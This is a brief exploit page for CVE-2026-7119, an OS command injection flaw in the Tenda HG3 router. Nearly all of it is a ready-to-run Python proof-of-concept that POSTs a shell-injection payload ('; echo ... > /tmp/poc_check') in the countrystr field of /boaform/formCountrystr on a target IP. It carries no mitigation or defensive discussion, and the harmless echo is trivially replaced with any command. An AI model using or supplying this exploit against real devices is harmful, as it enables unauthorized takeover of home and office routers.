CVE-2026-7119 Tenda HG3操作系统命令注入漏洞

import requests def exploit_tenda_hg3(target_ip): """ PoC for CVE-2026-7119 - OS Command Injection in Tenda HG3 2.0 Vulnerable endpoint: /boaform/formCountrystr Vulnerable parameter: countrystr """ url = f"http://{target_ip}/boaform/formCountrystr" # The payload injects a shell command to echo a specific string # Example payload: ; echo pwned > /tmp/poc.txt malicious_payload = "; echo CVE-2026-7119 > /tmp/poc_check" # Data payload mimicking the form submission post_data = { "countrystr": malicious_payload } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; PoC-Scanner/1.0)" } try: # Sending the exploit request # Note: PR:L implies authentication might be needed, # so valid cookies/headers should be added if required. response = requests.post(url, data=post_data, headers=headers, timeout=5) if response.status_code == 200: return f"[+] Payload sent to {target_ip}. Check /tmp/poc_check on device." else: return f"[-] Request failed with status code: {response.status_code}" except requests.RequestException as e: return f"[-] Connection error: {e}" if __name__ == "__main__": target = "192.168.0.1" # Replace with actual target IP print(exploit_tenda_hg3(target))